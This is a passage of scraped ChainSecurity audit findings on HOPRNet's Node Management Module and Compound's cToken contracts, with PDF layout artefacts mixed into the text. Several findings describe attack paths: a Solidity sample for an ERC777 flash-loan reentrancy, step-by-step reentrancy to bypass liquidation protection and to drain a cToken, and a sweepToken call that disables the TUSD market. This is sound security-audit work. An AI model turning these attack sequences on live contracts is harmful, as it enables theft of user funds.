HoprNodeStakeFactory receives moduleSingletonAddress as a parameter. However, no checks are performed to ensure that the address is a valid module. While this is not immediately a problem, since it concerns only the msg.sender itself. However, the event NewHoprNodeStakeModule does not mention the address of the module. This complicates the process of verifying that the module is indeed a valid module. CS-HPRNMM23-007 Description of Changes: HOPRNet - Node Management Module - 16 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fHOPRNet has adjusted the NewHoprNodeStakeModule event to include an indexed parameter, improving event clarity. And events have been separated from \"HoprNodeStakeFactory\" into an abstract contract named \"HoprNodeStakeFactoryEvents.\" Said changes allow inspection of the module address, and thus, verification of the module's validity. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.9 IHoprNodeSafeRegistry Is a Contract and Not", "body": " an Interface The I prefix is usually used for interfaces, not contracts. IHoprNodeSafeRegistry lies inside of interfaces folder whereas it is actually a contract. CS-HPRNMM23-008 The INodeSafeRegistry contract has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.10 Incorrect Flag Position Upper Bound", "body": " CS-HPRNMM23-009 flags A customized type Target is an alias of uint256, which is used to store a target address associated In contract with 12 one-byte util/TargetUtils.sol, getDefaultCapabilityPermissionAt() will return the capability permission flag at a certain index: position. However, the upper bound of position is 9 instead of 8. As a result, the function will not revert upon reading the out-of-bound 9th permission flag and will always return 0 due to 256 left shifts. flags with 9 capability permission (3 general flags). The code has been corrected: a proper upper bound of 8 is checked before reading the permission flag. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.11 Incorrect Specifications and Comments", "body": " CS-HPRNMM23-010 Several incorrect specifications and comments are identified: 1. checkMultisendTransaction() will disassemble the data into individual transactions for access checks. Each transaction consists of 1 byte operation, 20 bytes target address, 32 bytes value, and the actual transaction data. The inspected actual transaction data locates at an offset of 53 bytes instead of 85 bytes in the comments. 2. The input encoded data of decodeFunctionSigsAndPermissions() encodes function signature in a right-padded way and permissions in a left-padded way. The index of permissions grows from right to left, while the specifications incorrectly state the other direction. HOPRNet - Node Management Module - 17 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f Both specifications and comments have been corrected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.12 Missing Input Checks at tokensReceived", "body": " Besides funding a channel by fundChannelSafe() or fundChannel(), a node can also directly send tokens to the Channel contract, which triggers the tokensReceived() callback and funds one channel or a bidirectional channel depending on the userData. fundChannelSafe() and fundChannel() enforce the balance and channel parties validations, nevertheless, tokensReceived() does not. As a result, a node can fund a channel with a balance out of restrictions or with same parties on both sides of a channel. CS-HPRNMM23-011 Description of Changes: Moved validateBalance and validateChannelParties from external functions (fundChannelSafe and fundChannel) to the internal function _fundChannelInternal. This allows tokensReceived to perform checks on balance and channel parties. Moved _fundChannelInternal before token.transferFrom in fundChannelSafe and fundChannel functions ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.13 Signatures Can Be Replayed", "body": " The signature used in HoprNodeSafeRegistry.registerSafeWithNodeSig() doesn't have a nonce, so it can be replayed. Thus, any arbitrary msg.sender can register a node again using the same signature, even if the Safe has deregistered it. Effectively, only the node chain address that used registerSafeByNode() can be deregistered. In addition, for deregistration the node should be a member of a Safe. Otherwise, the node cannot deregister itself from the registry. CS-HPRNMM23-012 The correct deregister way is assumed to be: 1. Deregister at the registry. 2. Remove the node from the Safe NodeManagementModule. If these actions are not performed in a single transaction, a malicious party can register the node again after step 1 and break this flow. HOPRNet - Node Management Module - 18 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fA nonce has been added as a parameter in signed data. The nonce of the given chain address will be incremented on each registration. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.14 TargetUtils Incorrect Iterator Bound", "body": " A customized type Target is an alias of uint256 to store a 20-byte target address associated with 12 one-byte flags (3 general flags and 9 capability permission flags). In contract util/TargetUtils.sol, decodeDefaultPermissions() will retrieve the address and individual flags from the packed target input. When decoding the capability permission flags, the iterator falsely starts from 0 and ends at 8 (176 + 8 * i, for i in [0,8]). As a result, the last general flag with the first 8 capability permission flags are returned as the 9 capability permission flags. CS-HPRNMM23-013 The starting index has been fixed and is 184 now. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.15 Timestamp Is Not Updated With Snapshot", "body": " CS-HPRNMM23-014 In an out-of-scope contract Ledger, indexEvent() will update the lastestRoot.rootHash when it is called, and if a snapshotInterval has elapsed. However, the latestRoot.timestamp is not updated together with the latestSnapshotRoot. Consequently the lastestSnapshotRoot will be updated every time. the lastestSnapshotRoot the lastestRoot it will also push to The latestRoot.timestamp is updated together with the latestSnapshotRoot. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.16 isNodeSafeRegistered Returns True for", "body": " Unregistered Pairs if safeAddress==0 In NodeSafeRegistry, isNodeSafeRegistered() returns if the input chainkey address is registered with the input safe address. In case a chainkey is not registered and the input safeAddress is 0, this function will return true. This may be unexpected for the external systems. CS-HPRNMM23-015 If node is not registered to any safe, isNodeSafeRegistered() will return false. Thus, the 0 address of safe will not be considered as a registered safe. HOPRNet - Node Management Module - 19 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.17 ERC777 Reentrancy in fundChannel fundChannelSafe() and fundChannel() will call token.transferFrom() to pull tokens, which will trigger the callback to the token spender's registered hook. What happens before the transfer is: CS-HPRNMM23-016 1. Validation of the safe. 2. Validation of the input balance. 3. Validation of the parties addresses. The only thing that the token spender can do is to register or deregister at the SafeRegistry which tricks the first modifier. For example, assume a node A without registering a safe at the beginning: 1. A first calls fundChannel(). 2. In the callback, A calls registerSafeByNode(). As a result, A successfully funds a channel through fundChannel() while it is already registered with a safe. This reentrancy does not have an explicit influence to the contracts though it could break the assumptions. The code has been corrected to avoid reentrancy. The token transfer is now done at the end of the function, after all the state changes have been done. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "6.18 Order of Evaluation Can Be Enforced", "body": " The Solidity documentation states: https://docs.soliditylang.org/en/latest/ir-breaking-changes.html#semantic-only-changes For the old code generator, the evaluation order of expressions is unspecified. For the new code generator, we try to evaluate in source order (left to right), but do not guarantee it. This can lead to semantic differences. CS-HPRNMM23-020 The new code generator is not yet the default. This means that the order of evaluation of expressions is not guaranteed. Explicit brackets can be used in e.g. decodeDefaultPermissions() the order of evaluation to enforce targetPermission = TargetPermission(uint8(Target.unwrap(target) << 176 >> 248)); uint8(Target.unwrap(target) << (184 + 8 * i) >> 248) HOPRNet has added explicit brackets to enforce the evaluation order. HOPRNet - Node Management Module - 20 InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "7.1 DomainSeparator Requires Manual", "body": " Recompute After a Fork updateDomainSeparator() is a public function that recompute and update the domainSeparator in case of a fork. It requires manual invocation upon a fork. Signatures on the forked chain are still replayable before the call to updateDomainSeparator(). In case of supporting a forked chain, we assume this function will be invoked immediately. CS-HPRNMM23-017 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "7.2 Users Can Flash Loan by Fund Channel", "body": " Reentrancy CS-HPRNMM23-018 and fundChannel() will fundChannelSafe() in _fundChannelInternal() before calling token.transferFrom() to pull wxHOPR tokens. A user can implement and register a token sender callback, which will be invoked before the token transfer. In this callback, it can flashloan any amount of wxHOPR within the current liquidity of the channel contract by calling closeIncomingChannel(). At the end of the callback, the flashloan will be repaid by the real transfer of the tokens. Here is an example: balance internal update the contract Bob { function close() public { // close the channel to get desiredAmount HoprChannels channels = HoprChannels(0x...); channels.closeIncomingChannel(ALICE); // customized logic here } } contract Alice is IERC777Sender { function tokensToSend(...) public { Bob(BOB).close(); } function flashloan(uint256 desiredAmount) public { _ERC1820_REGISTRY.setInterfaceImplementer(address(this), TOKENS_SENDER_INTERFACE_HASH, address(this)); HOPRNet - Node Management Module - 21 InformationalVersion2InformationalVersion2 \f HoprChannels channels = HoprChannels(0x...); channels.fundChannel(BOB, desiredAmount); } } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "7.3 isContract Check Can Be Bypassed", "body": " addNodeSafe() has a check nodeChainKeyAddress.isContract(). However, if this node is a contract, and it calls the registry during its construction, the check will fail. Thus, node that is a contract can still be added to the registry. CS-HPRNMM23-019 HOPRNet - Node Management Module - 22 InformationalVersion2 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hoprnet-node-management-module/"}, {"title": "5.1 Reentrancy to Circumvent Liquidation", "body": " Protection When a borrow is no longer sufficiently collateralized, it can be liquidated. During a liquidation, the function liquidateBorrowAllowed of the Comptroller is called to determine if the position can be liquidated. This check basically evaluates whether the values of all held cTokens times their collateralRatio exceed the value of all borrowed assets. The function liquidateBorrowAllowed also determines whether the repaid amount does not exceed the closeFactor. However, the following reentrancy attack is possible to circumvent the liquidation protection. We assume that the victim account V has two borrowed tokens A and B. Also, V has collateral deposits C and D and has just become liquidatable, due to a tiny shortfall. We call the respective cTokens cA, cB, cC, and cD. Lastly, A is contract with a callback, e.g. ERC777. 1. The attacker calls liquidateBorrow on cA with collateral cC. liquidateBorrowAllowed is evaluated by the comptroller and determines a small shortfall. Hence, the liquidation is allowed. 2. The token transferFrom of A is triggered and hence, the callback to the attacker is executed. Compound - cToken - 10 SecurityDesignCorrectnessCriticalHighMediumAcknowledgedLowAcknowledgedAcknowledgedAcknowledgedRiskAcceptedAcknowledgedAcknowledgedSecurityMediumVersion1Acknowledged \f1. As part of the callback, the attacker calls liquidateBorrow on cB with collateral cD. liquidateBorrowAllowed is evaluated by the comptroller and determines a small shortfall (as no state changes have yet been performed). Hence, the liquidation is allowed. 2. The biggest possible amount of B tokens is repaid and cD tokens are received as reward. The position of V is now safe again. 3. Despite the position being safe, the original liquidation continues and the biggest possible amount of A tokens is liquidated to received cC as reward. Please note that the attack also works against a single collateral, so if C == D. It also works with more than two borrowed tokens. In such cases more \"parallel\" liquidations are possible. Acknowledged: Compound has acknowledged the issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "5.2 Deprecation Insufficiently Documented", "body": " The deprecation of a cToken and its effects are insufficiently documented. The documentation says: A user who has negative account liquidity is subject to liquidation However, liquidation can also occur once a cToken has been deprecated. As users aim to avoid liquidation, they should be made aware of this. Acknowledged: The Compound team has acknowledged this issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "5.3 Extra Encoding and Decoding in", "body": " CErc20Delegator The CErc20Delegator contract will be used as a proxy. Hence, it generally forwards the calls. However, it contains two ways of forwarding: 1. The generic forwarder using the fallback function 2. Explicit forwarders such as: function borrow(uint borrowAmount) override external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature(\"borrow(uint256)\", borrowAmount)); return abi.decode(data, (uint)); } The explicit forwarders are less gas efficient as they perform extra decoding and encoding for inputs as well as decoding and encoding for outputs, which is not performed by the generic forwarder. Acknowledged: Compound - cToken - 11 CorrectnessLowVersion2AcknowledgedDesignLowVersion1Acknowledged \fCompound acknowledges the issue but claims that the gas savings are small enough to not be worth fixing. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "5.4 Extra Storage Operations", "body": " Inside the function _acceptAdmin there is the following code: // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); To emit the events, admin and pendingAdmin will be queried from storage which is unnecessary here. Hence, there is a certain (even though small due to EIP-2929) gas overhead. Acknowledged: Compound acknowledges the small gas savings but deems the readability of the code to be more important. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "5.5 No Dynamic Bounds on Liquidation Incentive", "body": " It is important that the liquidation incentive is sufficiently high in order to provide a safe protocol. However, the product of liquidation incentive and collateral factor also should not exceed 1. Otherwise, the protocol is sure to lose funds on liquidations. Risk accepted: Compound accepts the risk of possibly misconfiguring a protocol. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "5.6 Reentrancy by Admin", "body": " In the case of Compound, the admin role of the cTokens is held by the governance. Hence, admin-based attacks are especially unlikely. However, in principle the admin could perform certain reentrancy-based or _setInterestModel. These functions do not have a reentrancy guard. like _setComptroller functions attacks special admin using In a general case, an admin could switch out the comptroller for the initial checks of a liquidation and then call _setComptroller while receiving a token-based callback. The corrected comptroller address would satisfy the further checks during seizing. This way the admin of one market could attack other markets. Compound - cToken - 12 DesignLowVersion1AcknowledgedDesignLowVersion1RiskAcceptedSecurityLowVersion1Acknowledged \fAcknowledged: This issue has been acknowledged. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "5.7 Unnecessary Memory Copies", "body": " In some parts of the code there are unnecessary copy operations to and from memory. Consider the following example: function balanceOfUnderlying(address owner) override external returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); return mul_ScalarTruncate(exchangeRate, accountTokens[owner]); } The exchangeRate is stored in memory and then directly afterwards copied back onto the stack. However, as the gas overhead of memory operations is tiny, this is minor. Acknowledged: Compound has acknowledged the issue but decided not to fix it at this time, as it is only a small gas saving. Compound - cToken - 13 DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings Anyone Can Disable TUSD Market -Severity Findings -Severity Findings Incorrect Exchange Rates Due to Incorrect Accounting Incorrect Return Value for mintFresh -Severity Findings Liquidation Incentive Has Imprecise Documentation Ignored Return Values Special Case Not Clearly Specified Unclear Specification Unnecessary Overflow Checks 1 0 2 5 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "6.1 Anyone Can Disable TUSD Market", "body": " The TrueUSD (TUSD) token has two addresses through which it can be called. Calling the transfer function on either address affects the balance of both addresses. Given that there is a Compound market for TUSD, it is important to note that anyone can disable this market by calling: function sweepToken(EIP20NonStandardInterface token) override external { require(address(token) != underlying, \"CErc20::sweepToken: can not sweep underlying token\"); uint256 balance = token.balanceOf(address(this)); token.transfer(admin, balance); } Usually, this function is meant to collect stray tokens and send them back to the admin. However, in this case anyone can call this with the second address of TUSD and thereby transfer all TUSD inside the market to the administrator. The funds are not lost, as they reside with the administrator, but no more borrows or redemptions will be possible. However, this causes a sudden change in the exchange rate and the interest rate of the token, which are both calculated using the current balance of the contract. The dropped exchange rate allows different attacks. Among other things, it allows: liquidation of users who used cTUSD as collateral (if the collateral factor is bigger than 0) borrowing TUSD, then executing the attack and paying back less TUSD executing the attack, minting cTUSD, waiting for the exchange rate to be restored and redeeming cTUSD for more TUSD than were used for minting Compound - cToken - 14 CriticalCodeCorrectedHighMediumSpeci\ufb01cationChangedSpeci\ufb01cationChangedLowSpeci\ufb01cationChangedCodeCorrectedSpeci\ufb01cationChangedSpeci\ufb01cationChangedCodeCorrectedSecurityCriticalVersion1CodeCorrected \f The sweepToken function can now only be called by the admin. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "6.2 Incorrect Exchange Rates Due to Incorrect", "body": " Accounting Due to the design of the cToken non-liquidatable borrows can exist. These borrows are incorrectly accounted leading to overly high exchange rates, which can have different consequences. Please consider the following example. For simplicity of the calculation, we assume rates and the liquidation incentive to be zero. We also assume that the exchange rate is 1 cETH = 1 ETH. 1. User A deposits 1 ETH, to obtain 1 cETH. At this time 1 ETH is worth 2000 DAI. 2. User A borrows 1000 DAI. 3. The price of ETH drops a lot until it is 500 DAI. During this time user A is not liquidated (e.g., due to high gas prices). 4. Now user B liquidates the DAI-borrow of user A. User B pays 500 DAI. The amount of seized collateral is computed as 1 cETH. 1 cETH is seized from user A. 5. As a result, user A now has the following status: 0 balance in cETH 500 borrowed DAI 6. Thereby, user A has a non-liquidatable borrow as any liquidation fails in the following line of seizeInternal due to an underflow: accountTokens[borrower] = accountTokens[borrower] - seizeTokens; 7. This results in an incorrect exchange rate for cDAI. The 500 DAI borrowed by user A will never be repaid. However, they are still part of the totalBorrows of the accounting within cDAI. Hence, the calculated exchange rate is too large. The incorrect exchange rate can have different consequences. One example (assuming no reserves) would be: All borrowers (except for A) are repaying their loans. All suppliers try to redeem their deposits. However, each supplier is receiving too much DAI for their cDAI as the exchange rate is too large. In the end the last supplier finds that there are 0 DAI inside the contract and still 500 DAI borrowed. As the last borrow is non-liquidatable and will never be paid back, the last supplier cannot redeem their cDAI. Compound - cToken - 15 DesignMediumVersion2Speci\ufb01cationChanged \fSpecification changed: The Compound team will update the documentation to correctly reflect this behaviour. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "6.3 Incorrect Return Value for mintFresh", "body": " The mintFresh function that is internally responsible of minting new cTokens, has the following specification regarding its return value: * @return (uint) the actual mint amount. At the end of the function, it says: return actualMintAmount; However, the actualMintAmount variable contains the amount of underlying tokens used for minting and not the amount of minted cTokens. Specification changed: The specification was changed to match the implementation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "6.4 Liquidation Incentive Has Imprecise", "body": " Documentation The documentation for the liquidation incentive says: The additional collateral given to liquidators as an incentive to perform liquidation of underwater accounts. For example, if the liquidation incentive is 1.1, liquidators receive an extra 10% of the borrowers collateral for every unit they close. this However, function liquidateCalculateSeizeTokens will calculate this amount with the liquidation incentive included, but in the function seizeInternal the protocol's share is deducted: not match functionality code. does The the the of uint protocolSeizeTokens = mul_(seizeTokens, Exp({mantissa: protocolSeizeShareMantissa})); uint liquidatorSeizeTokens = seizeTokens - protocolSeizeTokens; Hence, liquidators receive less than 10% extra. Specification changed: The Compound team will update the protocol documentation to describe this behaviour more precisely. Compound - cToken - 16 CorrectnessMediumVersion1Speci\ufb01cationChangedCorrectnessLowVersion2Speci\ufb01cationChanged \f6.5 Ignored Return Values The return values of \"Internal\" functions such as repayBorrowInternal or mintInternal are being ignored in all of their calls. Hence, it could be checked if a return value is really necessary for these functions and if so, whether it should be checked by the callers. The unused return values of the relevant functions were removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "6.6 Special Case Not Clearly Specified", "body": " functions repayBorrowBehalf, The repayBorrowBehalfInternal, repayBorrowFresh, and repayBorrowInternal generally specify the input variable as: repayBorrow, concerning repaying, such as * @param repayAmount The amount to repay However, this variable has a special meaning if it is -1 as then, the full amount is repaid. This should be documented more clearly in the code. Specification changed: The specification was changed for the relevant functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "6.7 Unclear Specification", "body": " The transferTokens function is specified as follows: /* ... * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { However, as the return value is not boolean but uint it would be beneficial to explicitly state which values indicate success and failure. The exitMarket function in the comptroller has a similar specification: /* ... * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) override external returns (uint) { Again, it would be good to specify which return values indicate success and failure. Compound - cToken - 17 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChangedCorrectnessLowVersion1Speci\ufb01cationChanged \fSpecification changed: The specification was changed to indicate what happens in case of success and failure. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "6.8 Unnecessary Overflow Checks", "body": " In the doTransferIn function of the CErc20 contract, the new balance is checked to be larger than the balance before the transfer. require(balanceAfter >= balanceBefore, \"TOKEN_TRANSFER_IN_OVERF|l|\"); return balanceAfter - balanceBefore; // underflow already checked above, just subtract However, this check is now unnecessary because of the updated compiler version, which automatically checks for under- / overflows. Therefore, gas can be saved by omitting this check. Additionally, in the _addReservesFresh function, there is still an overflow check. totalReservesNew = totalReserves + actualAddAmount; /* Revert on overflow */ require(totalReservesNew >= totalReserves, \"add reserves unexpected overflow\"); Because actualAddAmount is an unsigned integer, this condition can never occur, as any overflow will be caught by the automatic check by the solidity compiler. Similarly, the _reduceReservesFresh function has an unnecessary check, since the subtraction would revert in case of an underflow. totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, \"reduce reserves unexpected underflow\"); The unnecessary checks have been removed. Compound - cToken - 18 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report. As the scope of this report was limited to the cToken, we also list issues outside of the scope in this section. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.1 Compatibility With Different Tokens", "body": " In the future, new tokens might be added. When markets for those are created, issues can appear. In this non-exhaustive list, we highlight some of those issues: On-demand Balance Modification + Callback: Different token types (inflationary, deflationary, or rebasing) can have balances which change without a Transfer occurring. For some of these tokens there is a permissionless trigger to update everyone's balances. Tokens with such a permissionless trigger and a callback on transfer should not be added for the following reason. While receiving the callback of mint() the depositor could trigger the balance adjustment and thereby increase the ERC20 balance of the market without making a deposit. Blacklist, Freezable, Seizable: Tokens where some addresses can be blacklisted, certain funds can be frozen or some funds can be seized/burnt, need to be added with great consideration. A blacklisted market would stop working properly. A (partially) frozen market would not function correctly (as the underlying fungibility assumption is violated). Finally, seizing could lead to sudden drops in the exchange rate. Transfer Fees: In principle the protocol supports tokens with transfer fees. However, if a user borrows a certain amount of tokens with transfer fees, it will be almost impossible to completely repay that borrow. This is because the existing feature of providing -1 as the amount wouldn't work due to the transfer fees. Hence, a small borrow residue will most likely remain. When borrowing tokens with transfer fees, the requested amount will not be received. Similarly, when reducing the reserve of a token with transfer fees, there will be unexpected losses. Tokens with potential for sudden increase in value: If a token whose value can suddenly increase by a significant amount, can be borrowed, then attacks due to extremely bad positions are possible. Such tokens include UniswapV2 and Curve pool tokens, but also DPI tokens. Extreme care has to be taken, when adding such tokens to the protocol as they will most likely lead to an attack. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.2 Hindering Liquidation", "body": " Borrowers can do different things to make their own liquidation less likely. During a liquidation the liquidator receives a liquidation reward, determined by the liquidationIncentiveMantissa variable. If X is the amount of borrowed tokens, the liquidator receives at most: X * (liquidationIncentiveMantissa - 1) * closeFactorMantissa / 10**36 Example: If the liquidation incentive is 108% and the close factor is 50%, the maximum liquidation reward is 4% * X. Compound - cToken - 19 NoteVersion1NoteVersion1 \fThe liquidator needs to pay the transaction costs which will vary over time. At the time of writing the transaction costs for a liquidation are around 80 USD. Hence, the liquidation incentive only provides a sufficient incentive for borrows above 2,000 USD. As this computation is performed per borrowed token a user might decide to borrow 2,000 USD worth of tokens from ten different tokens, hence borrowing 20,000 USD but making liquidation by a simple liquidator unlikely. Note that due to partial liquidation, caused by the close factor, such small borrows can also be generated over time. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.3 Impossible Event Orders", "body": " In case that one of the underlying tokens has a callback on token transfer, the doTransferIn and doTransferOut functions can lead to reentrancies. This can lead to event orders that would not be possible without reentrancies. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.4 Incomplete Compatibility Check", "body": " When adding a new market, the Comptroller checks compatibility using: cToken.isCToken(); // Sanity check to make sure its really a CToken However, as isCToken returns true and to be consistent with the isComptroller checks, the return value should also be checked. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.5 Misplaced Comment", "body": " The following comment can be found inside the seizeInternal function: /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ However, this comment does not refer to the code where it is located but to the code further down. Hence, it could be moved closer to the corresponding code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.6 Reentrancy Checks Are Necessary", "body": " of part Forum As (https://www.comp.xyz/t/punitive-accounting-for-borrow-and-redeem/2247), it was proposed that punitive accounting may allow to remove the reentrancy checks. the Compound Community published recently post on a Compound - cToken - 20 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fWith the proposed punitive accounting changes, it may now instead be possible to remove the reentrancy checks altogether. To do that, the community should prove to itself that the protocol is now safe to reentrancy attacks altogether. That can be done as an independent later step, after more thorough evaluation. However, this would open up some reentrancy attacks. For example, the following sequence of actions could drain a CToken contract, assuming a token with a callback on transferFrom: 1. Provide collateral of some sort, then borrow some funds from the CToken. 2. Call repayBorrow to pay back your borrowed funds. Your current borrow balance is stored in accountBorrowsPrev. 3. doTransferIn is called, which triggers the callback of transferFrom. In this callback function, borrow more funds from the contract. This updates your borrow balance. 4. When set accountBorrowsPrev - actualRepayAmount, overwriting the updated borrow balance. doTransferIn balance returns, borrow your is to Therefore, omitting the reentrancy checks could lead to vulnerabilities for tokens with callbacks on transferFrom. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.7 Underlying as Immutable Variable", "body": " The CErc20 contracts have the following storage variable: address public underlying; As it is not expected to change, it could become an immutable variable to save gas costs during execution. Note that while this change would reduce the execution costs of nearly every CErc20 invocation by roughly 2200 gas, it also implies that the storage layout would be modified which would require close inspection. Furthermore, it would mean that not all CErc20 proxies could reference the same implementation contract, as the implementation contracts would contain the specific underlying address. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.8 Unused Comptroller Functions", "body": " The following Comptroller functions are no longer being used by the cTokens and could hence be removed to reduce the code size and thereby the deployment costs: mintVerify borrowVerify repayBorrowVerify liquidateBorrowVerify seizeVerify transferVerify Compound - cToken - 21 NoteVersion1NoteVersion1 \f7.9 Vote Delegation Token holders who deposit into a CToken have to be aware that, in the case of governance tokens, they are also giving away their voting rights. On tokens such as COMP or UNI, the governance can pick a delegatee for the voting power which is accumulated inside the CToken contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.10 closeFactor Bounds Not Checked", "body": " The Comptroller contract has a minimum and maximum bound for the value of closeFactor. // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 However, these bounds are never used. In fact, the closeFactor can be set to anything, as its value is not checked at all before setting it. /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin require(msg.sender == admin, \"only admin can set close factor\"); uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "7.11 maxAssets Not Enforced", "body": " According to the documentation, a user should only be able to participate in a limited number of markets, namely no more than maxAssets. /** * @notice Max number of assets a single account can participate in (borrow or use as collateral) */ uint public maxAssets; Compound - cToken - 22 NoteVersion1NoteVersion1NoteVersion1 \fHowever, this is not enforced. In fact, the value of maxAssets is never set or used. In particular, the function addToMarketInternal in the Comptroller blindly adds a user to a new market without checking that the user does not exceed this bound. /** * @notice Add the market to the borrower's \"assets in\" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } Compound - cToken - 23 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-ctoken/"}, {"title": "5.1 Inefficient _validate", "body": " 0 0 0 3 _validate may be refactored to be more 